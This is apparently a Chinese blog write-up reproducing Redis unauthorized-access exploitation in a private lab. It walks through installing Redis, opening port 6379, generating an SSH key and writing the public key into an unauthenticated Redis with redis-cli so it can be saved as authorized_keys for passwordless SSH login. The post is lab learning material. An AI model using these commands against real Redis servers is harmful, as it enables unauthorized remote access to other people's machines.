首页 > 数据库 >Redis未授权利用复现

Redis未授权利用复现

时间:2024-12-11 17:10:24浏览次数:7  
标签:-- Redis redis rsa 6379 复现 key 授权 txt

Kali:192.168.162.129

Ubuntu:192.168.162.128

1、靶机安装redis服务器(redis-server)

1.1下载redis-4.0.10

wget http://download.redis.io/releases/redis-4.0.10.tar.gz

解压,进入源码目录,然后编译(make、make install)

我这里是进入目录之后输入make然后后面根据提示用apt install redis-server

不用进入src目录,直接进入redis解压后的目录就可以了

然后需要编辑一下redis.conf

在靶机上面启动redis服务,输入命令redis-server

然后在kali上面用redis-cli连接(安装redis-cli)

然后防火墙还没有开启6379端口,所以无法进行访问

需要打开6379端口

firewall-cmd --zone=public --add-port=6379/tcp --permanent开放6379端口
firewall-cmd --reload配置立即生效

可以参考这篇文章

连接成功

ssh公钥连接

我这里的公钥和私钥是通过ssh-keygen –t rsa生成,一直回车就好了

完事会生成id_rsa和id_rsa.pub后面这个pub后缀的是公钥,另一个是私钥

将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

再把key.txt文件内容写入redis缓冲

cat key.txt| redis-cli -h 192.168.162.128 -x set crack

然后是这样,注意名字必须是authorized_keys

最后尝试空密码连接

标签:--,Redis,redis,rsa,6379,复现,key,授权,txt
From: https://www.cnblogs.com/cll-wlaq/p/18343531

相关文章

  • 初识Redis(一)
    1认识NoSQL1.1SQL vsNoSql SQL-关系型数据库NoSQL-非关系型数据库数据结构结构化非结构化:#1键值类型(redis);#2文档类型(MongoDB);#3列类型(HBase);#4Graph类型(Neo4j)数据关联关联的无关联的查询方式SQL查询非SQL事务特性ACIDBASE(基本满足事务,非强一致......
  • Redis
    windows版redis下载地址:https://github.com/microsoftarchive/redis/releases下载最新版本3.2.100安装redis服务:1.redis默认端口是6379,为防止端口冲突,本地端口配置为9011。1.1.用笔记本打开redis.windows.conf1.2.搜索port6379,然后把6379改为9011即可2.cmd搭建redis服务,服务名同......
  • Redis篇-1--入门介绍(内存,I/O模型分类,I/O多路复用,redis事务,redis发布/订阅,单线程模型,Lu
    1、Redis概述‌Redis(RemoteDictionaryServer),全称为远程字典服务。‌是一个开源的、使用C语言编写的、支持网络交互的、可基于内存也可持久化的Key-Value数据库。Redis提供了多种数据类型的存储,来适应不同场景下的存储需求。并提供多种语言的API,兼容多种方式的集成。Red......
  • 移动端使用cordova-plugin-wechat实现微信授权登录,可以拉起微信,点击允许之后没有进入
    开发移动端使用微信授权登录时,遇到了这个问题,被困了两天终于在第三天好了。我使用的写法是cordova-plugin-wechat-npm里提供的写法: 一模一样复制下来的。一开始看到别的地方多传了一个appID的参数,我加传之后会报错,还是改回按照文档的这个写法。一开始以为是没授权,实际上看......
  • 分布式锁有哪些实现方式?它们各自的优缺点是什么? JVM调优的基本步骤有哪些如何实现OAut
    本人详解作者:王文峰,参加过CSDN2020年度博客之星,《Java王大师王天师》公众号:JAVA开发王大师,专注于天道酬勤的Java开发问题中国国学、传统文化和代码爱好者的程序人生,期待你的关注和支持!本人外号:神秘小峯山峯转载说明:务必注明来源(注明:作者:王文峰哦)分布式锁有哪......
  • 案例分享,由于研发的代码逻辑问题,导致redis内存急速飙升
    群582337768分享的一个实际案例由于研发的逻辑处理不当,导致内存急速飙升。ps:研发排查了N天,没查出来,群友三下五除二就搞定了。你确定不加一下吗研发【想法】的代码逻辑-客户端请求:如果redis有数据,就在redis进行查询。如果redis没有数据,就在MySQL进行查询,并插入redis当中......
  • Redis教程【三】
    Redis教程一Redis其他配置1.1配置RedisUtil企业中往往操作redis对象,总会把RedisTemplate常用的方法封装成为一个工具类,这样极大的方便操作redis,并且在工具类中统一进行了异常处理等操作。工具1:packagecn.as.util;importorg.springframework.beans.factory.annot......
  • 第83篇 Redis中的事务区别
    1.与关系型数据库事务的区别Redis事务是指将多条命令加入队列,一次批量执行多条命令,每条命令会按顺序执行,事务执行过程中不会被其他客户端发来的命令所打断。也就是说,Redis事务就是一次性、顺序性、排他性的执行一个队列中的一系列命令。Redis事务和关系型数据库的事务不太一样,它......
  • 第82篇 简谈Redis处理为什么这么快?
    1.Redis为什么这么快?完全基于内存,数据存在内存中,绝大部分请求是纯粹的内存操作,非常快速,跟传统的磁盘文件数据存储相比,避免了通过磁盘IO读取到内存这部分的开销。数据结构简单,对数据操作也简单。【Redis中的数据结构】是专门进行设计的,每种数据结构都有一种或多种数据结构来支持......
  • 第80篇 35个Redis企业级性能优化点与解决方案的简单介绍
    前言Redis作为企业级应用中广泛使用的高性能键值存储数据库,其性能优化是一个复杂且多面的话题。Redis的性能优化涉及到硬件选择、配置调整、客户端优化、持久化策略等多个层面。1.硬件优化解决方案:选择更快的CPU、更多的内存、更快的磁盘(SSD推荐)和足够的网络带宽。2.合理的实......